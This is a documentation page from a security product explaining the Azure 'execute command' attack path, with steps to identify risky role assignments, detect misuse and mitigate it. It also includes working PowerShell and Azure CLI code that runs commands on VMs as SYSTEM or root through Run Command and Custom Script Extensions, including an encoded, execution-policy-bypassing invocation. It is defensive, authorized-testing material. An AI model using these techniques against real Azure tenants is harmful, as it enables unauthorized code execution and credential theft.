> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/azure/az_execute_command.md).

# AZ\_EXECUTE\_COMMAND

## Summary

|                            |                                                                                                                                                                                                                                           |
| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **FSProtect ACL Alias**    | AZ\_EXECUTE\_COMMAND                                                                                                                                                                                                                      |
| **Azure Alias**            | Execute Command (VM Run Command, managed Run Commands, extensions)                                                                                                                                                                        |
| **Affected Object Types**  | Virtual Machines, VM Scale Sets                                                                                                                                                                                                           |
| **Exploitation Certainty** | Certain                                                                                                                                                                                                                                   |
| **Permission / Role**      | Azure **resource** permissions that allow running code on the guest (often **Owner**, **Contributor**, **Virtual Machine Contributor**, **Classic Virtual Machine Contributor**). See **Execution mechanisms** for the exact API actions. |

## Description

`AZ_EXECUTE_COMMAND` is the risk that an attacker (or insider) with the right Azure access can **run commands inside your VMs**. Azure exposes several ways to do that (see the table below). Roles such as **Owner**, **Contributor**, and **Virtual Machine Contributor** usually cover those ways.

### Execution mechanisms

| Permission (ARM operation, short name)                                       | Plain-english meaning                                                                                     | Common tools                                        |
| ---------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------- | --------------------------------------------------- |
| `Microsoft.Compute/virtualMachines/runCommand/action`                        | Run a **one-off command** on the VM through the agent (the usual “Run Command”).                          | `Invoke-AzVMRunCommand`, `az vm run-command invoke` |
| `Microsoft.Compute/virtualMachines/runCommands/write`                        | **Save a named Run Command** on the VM (script stored on the VM resource).                                | `Set-AzVMRunCommand`, `az vm run-command create`    |
| `Microsoft.Compute/virtualMachines/extensions/write` (and related VM writes) | **Install or change a VM extension** (for example Custom Script Extension), which runs code on the guest. | `Set-AzVMExtension`, `az vm extension set`          |

Run Command on Windows normally runs as **SYSTEM**; on Linux it often runs as **root**. Extensions also run with high privilege on the guest.

Why this matters for security:

* **Stealing credentials** — for example memory/cached credential attacks where your policy allows them.
* **Moving to other systems** — especially if the VM is joined to on-premises Active Directory.
* **Taking data** — files, databases, app data on the VM.
* **Stealing managed identity tokens** — calling the instance metadata service (IMDS) for tokens.
* **Staying on the box** — malware, scheduled tasks, bad extensions, and similar.

## Identification

Look for identities whose roles allow **any** of these actions on the VM (or on a parent scope such as resource group or subscription):

* `Microsoft.Compute/virtualMachines/runCommand/action`
* `Microsoft.Compute/virtualMachines/runCommands/write`
* `Microsoft.Compute/virtualMachines/extensions/write`

Built-in roles like **Owner**, **Contributor**, and **Virtual Machine Contributor** usually include one or more of the above (often via broad `*` or `Microsoft.Compute/virtualMachines/*` patterns). **Custom roles** must be checked against this list.

### PowerShell (Az module)

```powershell
Connect-AzAccount

# Guest execution actions this doc is based on
$guestExecActions = @(
    'Microsoft.Compute/virtualMachines/runCommand/action',
    'Microsoft.Compute/virtualMachines/runCommands/write',
    'Microsoft.Compute/virtualMachines/extensions/write'
)

# Role definitions that appear to grant those actions (exact match, or typical wildcards)
$riskyRoleNames = Get-AzRoleDefinition | Where-Object {
    $acts = @($_.Actions)
    if ($acts -contains '*') { return $true }

    foreach ($a in $acts) {
        if ($a -in @('Microsoft.Compute/*', 'Microsoft.Compute/virtualMachines/*')) {
            return $true
        }
    }

    $blob = $acts -join "`n"
    foreach ($action in $guestExecActions) {
        if ($blob -like "*$action*") { return $true }
    }

    return $false
} | Select-Object -ExpandProperty Name -Unique

# Assignments in the current subscription (use -Scope for a resource group or single VM)
Get-AzRoleAssignment |
    Where-Object { $riskyRoleNames -contains $_.RoleDefinitionName } |
    Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope |
    Sort-Object RoleDefinitionName, Scope |
    Format-Table -AutoSize
```

To scope to one VM: run `Get-AzRoleAssignment -Scope '/subscriptions/<subId>/resourceGroups/<rg>/providers/Microsoft.Compute/virtualMachines/<vmName>'` (fill in your IDs) and filter with the same `$riskyRoleNames`.

### Azure portal

1. In the [Azure Portal](https://portal.azure.com), open the **subscription**, **resource group**, or **virtual machine** you want to check.
2. Open **Access control (IAM)** → **Role assignments**.
3. Open each relevant role (especially **custom roles**) and confirm whether **Permissions** include the three actions above (or a wildcard that covers them, such as `*` or `Microsoft.Compute/virtualMachines/*`).

## Exploitation

Replace `<RGName>`, `<VMName>`, `<Location>`, and the script text with your own values. These examples are for authorized testing only.

### Invoke-AzVmExecutionMethods (all Az methods)

```powershell
function Invoke-AzVmExecutionMethods {
    [CmdletBinding()]
    param(
        [string] $ResourceGroupName,
        [string] $VMName,
        [string] $Location,
        [ValidateSet('RunCommandAction', 'RunCommandResource', 'CustomScriptExtension', 'All')]
        [string] $Method = 'All',
        [string] $ScriptString = 'whoami; hostname',
        [string] $ManagedRunCommandName = 'managed-run-command-demo',
        [string] $ExtensionName = 'CustomScriptExtension',
        [bool] $LinuxGuest = $false
    )

    function Invoke-MethodRunCommandAction {
        param(
            [string] $ResourceGroupName,
            [string] $VMName,
            [string] $ScriptString,
            [bool] $LinuxGuest
        )

        $commandId = if ($LinuxGuest) { 'RunShellScript' } else { 'RunPowerShellScript' }

        Invoke-AzVMRunCommand `
            -ResourceGroupName $ResourceGroupName `
            -VMName $VMName `
            -CommandId $commandId `
            -ScriptString $ScriptString
    }

    function Invoke-MethodRunCommandResource {
        param(
            [string] $ResourceGroupName,
            [string] $VMName,
            [string] $Location,
            [string] $RunCommandName,
            [string] $ScriptString
        )

        Set-AzVMRunCommand `
            -ResourceGroupName $ResourceGroupName `
            -VMName $VMName `
            -Location $Location `
            -RunCommandName $RunCommandName `
            -SourceScript $ScriptString
    }

    function Invoke-MethodCustomScriptExtension {
        param(
            [string] $ResourceGroupName,
            [string] $VMName,
            [string] $Location,
            [string] $ExtensionName,
            [string] $ScriptString,
            [bool] $LinuxGuest
        )

        if ($LinuxGuest) {
            $settings = @{
                commandToExecute = $ScriptString
            }

            Set-AzVMExtension `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Name $ExtensionName `
                -Publisher 'Microsoft.Azure.Extensions' `
                -ExtensionType 'CustomScript' `
                -TypeHandlerVersion '2.1' `
                -SettingString ($settings | ConvertTo-Json -Compress) `
                -Location $Location

            return
        }

        $bytes = [Text.Encoding]::Unicode.GetBytes($ScriptString)
        $encoded = [Convert]::ToBase64String($bytes)

        $commandToExecute = "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $encoded"

        $settings = @{
            commandToExecute = $commandToExecute
        }

        Set-AzVMExtension `
            -ResourceGroupName $ResourceGroupName `
            -VMName $VMName `
            -Name $ExtensionName `
            -Publisher 'Microsoft.Compute' `
            -ExtensionType 'CustomScriptExtension' `
            -TypeHandlerVersion '1.10' `
            -SettingString ($settings | ConvertTo-Json -Compress) `
            -Location $Location
    }

    if (-not (Get-AzContext)) {
        throw 'Run Connect-AzAccount first.'
    }

    $linux = [bool]$LinuxGuest
    $extName = $ExtensionName

    if ($linux -and $extName -eq 'CustomScriptExtension') {
        $extName = 'CustomScript'
    }

    switch ($Method) {
        'RunCommandAction' {
            Invoke-MethodRunCommandAction `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux
        }

        'RunCommandResource' {
            Invoke-MethodRunCommandResource `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -RunCommandName $ManagedRunCommandName `
                -ScriptString $ScriptString
        }

        'CustomScriptExtension' {
            Invoke-MethodCustomScriptExtension `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -ExtensionName $extName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux
        }

        'All' {
            Write-Host '[*] RunCommand action Invoke-AzVMRunCommand' -ForegroundColor Cyan
            Invoke-MethodRunCommandAction `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux

            Write-Host '[*] Managed Run Command resource Set-AzVMRunCommand' -ForegroundColor Cyan
            Invoke-MethodRunCommandResource `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -RunCommandName $ManagedRunCommandName `
                -ScriptString $ScriptString

            Write-Host '[*] Custom Script Extension Set-AzVMExtension' -ForegroundColor Cyan
            Invoke-MethodCustomScriptExtension `
                -ResourceGroupName $ResourceGroupName `
                -VMName $VMName `
                -Location $Location `
                -ExtensionName $extName `
                -ScriptString $ScriptString `
                -LinuxGuest $linux
        }
    }
}
```

**Usage**

```powershell
Connect-AzAccount

# Call the function after dot-sourcing (or after pasting the block above)
Invoke-AzVmExecutionMethods `
    -ResourceGroupName '<RGName>' `
    -VMName '<VMName>' `
    -Method RunCommandAction

# Or run the file directly (shim invokes the function)
Invoke-AzVmExecutionMethods `
    -ResourceGroupName '<RGName>' `
    -VMName '<VMName>' `
    -Method All `
    -ScriptString 'whoami; hostname'
```

For Linux guests, add `-LinuxGuest` (the function selects `RunShellScript` and the Linux Custom Script extension publisher/type).

***

### 1. `Microsoft.Compute/virtualMachines/runCommand/action` — action Run Command

**PowerShell (Windows guest)**

```powershell
Connect-AzAccount

# Executes on the VM guest as SYSTEM (Windows)
Invoke-AzVmExecutionMethods -ResourceGroupName rg-pw-demo -VMName vm-pw-dc01 -Method RunCommandAction
```

![Run Command action via PowerShell on Windows](/files/OqA0djleFiKz1vKcvOpl)

**Azure CLI (Windows guest)**

```bash
az vm run-command invoke --resource-group 'rg-pw-demo' --name 'vm-pw-dc01' --command-id RunPowerShellScript --scripts 'whoami'
```

![Run Command via PowerShell on Windows](/files/Ojnr2ecoFPSdIfp7erQt)

**PowerShell (Linux guest)**

```powershell
Invoke-AzVmExecutionMethods -ResourceGroupName rg-pw-demo -VMName linux-admin-login -Method RunCommandAction -ScriptString id -LinuxGuest $true
```

![Run Command via PowerShell on Linux](/files/T2iXl4JRp1ngheyI1KUZ)

***

### 2. `Microsoft.Compute/virtualMachines/runCommands/write` — managed Run Command

Creates a named Run Command on the VM. That is handy when you want a script saved on the VM and run again later. For lab demos, keep `--async-execution false` so the command finishes before the CLI returns. See Microsoft docs if you need async (run in the background).

**Azure CLI**

```bash
az vm run-command create --resource-group rg-pw-demo --vm-name vm-pw-dc01 --run-command-name pentest-proof --location eastus --script "whoami" --async-execution false
```

![Run Command via Azure CLI on Windows — create command](/files/kUbCWB3vAryrtik70Tti)

**PowerShell (Az.Compute)**

```powershell
Set-AzVMRunCommand  -ResourceGroupName rg-pw-demo -VMName vm-pw-dc01 -Location eastus -RunCommandName pentest-proof -SourceScript 'whoami; hostname'
```

![Run Command via PowerShell on Windows — create command](/files/kQZxeqDGTrjOEWbIqqAZ)

***

### 3. `Microsoft.Compute/virtualMachines/extensions/write` / extensions — Custom Script Extension

Adding or updating **Custom Script Extension** runs your script on the guest as part of the extension install/update. If an extension with the same name already exists, you may need a new name, a force-update flag, or to remove the old extension first — see Microsoft’s docs for your case.

**Azure CLI (settings file)**

You need **read** access to the VM for this flow (`Microsoft.Compute/virtualMachines/extensions/read`), not only write.

```bash
@'
{
  "commandToExecute": "powershell -ExecutionPolicy Bypass -Command \"whoami\""
}
'@ | Out-File -Encoding ascii settings.json
az vm extension set --resource-group rg-pw-demo --vm-name vm-pw-dc01 --name CustomScriptExtension --publisher Microsoft.Compute --settings settings.json
```

![Run Command via Azure CLI on Windows — create extension](/files/eN7RUn8E4a5pgalS84Nz)

**PowerShell (Az module)**

Same read permission on the VM applies: `Microsoft.Compute/virtualMachines/extensions/read`.

```powershell
$settings = @{
    commandToExecute = 'powershell -ExecutionPolicy Bypass -Command "whoami"'
}
Set-AzVMExtension `
    -ResourceGroupName rg-pw-demo `
    -VMName vm-pw-dc01 `
    -Name 'CustomScriptExtension' `
    -Location eastus `
    -Publisher 'Microsoft.Compute' `
    -ExtensionType 'CustomScriptExtension' `
    -TypeHandlerVersion '1.10' `
    -SettingString ($settings | ConvertTo-Json -Compress)
```

![Custom Script Extension execution path powershell](/files/7I5rNqJkbt0DJdkNek1P)

**PowerShell — `Invoke-AzVmExecutionMethods`**

Same as the `Set-AzVMExtension` approach inside the helper script; you need `-Location` (Azure region) for this method.

```powershell
Invoke-AzVmExecutionMethods -ResourceGroupName rg-pw-demo -VMName vm-pw-dc01 -Method CustomScriptExtension -Location eastus
```

![Custom Script Extension execution path powershell](/files/LRZpkFGZ1O7kF87gBwOd)

## Operational security notes

* **Azure Activity Log** often shows who ran Run Command or changed extensions (exact rows depend on your log setup).
* On the guest, these actions are still **SYSTEM** / **root** — your usual VM logs, EDR, and PowerShell logging still matter.
* Saved Run Commands and extensions **leave artifacts** on the VM definition. A one-shot `run-command invoke` is different for investigators and for cleanup.

## Mitigation

1. **Limit who can use Run Command and extensions**
   * Grant **Virtual Machine Contributor** / Owner / Contributor only where it is truly needed (per VM, resource group, or subscription).
   * Use Azure Policy or **custom roles** to block `runCommand/action`, `runCommands/write`, or extension installs where you do not need them.
2. **EDR on every VM**
   * Run Microsoft Defender for Endpoint or another EDR product on the guest OS.
3. **PowerShell logging on Windows**
   * Turn on script block and module logging where your team supports it (Group Policy or similar).

## Detection

Watch for unexpected command runs on VMs and for VM settings changing in ways that run code.

### Azure Activity Log

* **Run Command (one-shot)**: look for `Microsoft.Compute/virtualMachines/runCommand/action` (wording in your logs may vary slightly).
* **Managed Run Commands**: look for writes under `.../runCommands/...`, such as `Microsoft.Compute/virtualMachines/runCommands/write`.
* **Extensions**: `Microsoft.Compute/virtualMachines/extensions/write` and extension deletes.

Alert when the account is odd, the time is odd, or many extensions update at once.

### On the VM (endpoint)

* Processes tied to Run Command or extension handlers.
* PowerShell script-block logs and command lines that look malicious.

## References

* [Azure Threat Research Matrix — AZT301-2: Run Command](https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-2/)
* [Run Command overview (Azure VMs)](https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview)
* [Managed Run Command (Windows VMs)](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed)
* [MITRE ATT\&CK — Execution](https://attack.mitre.org/tactics/TA0002/)
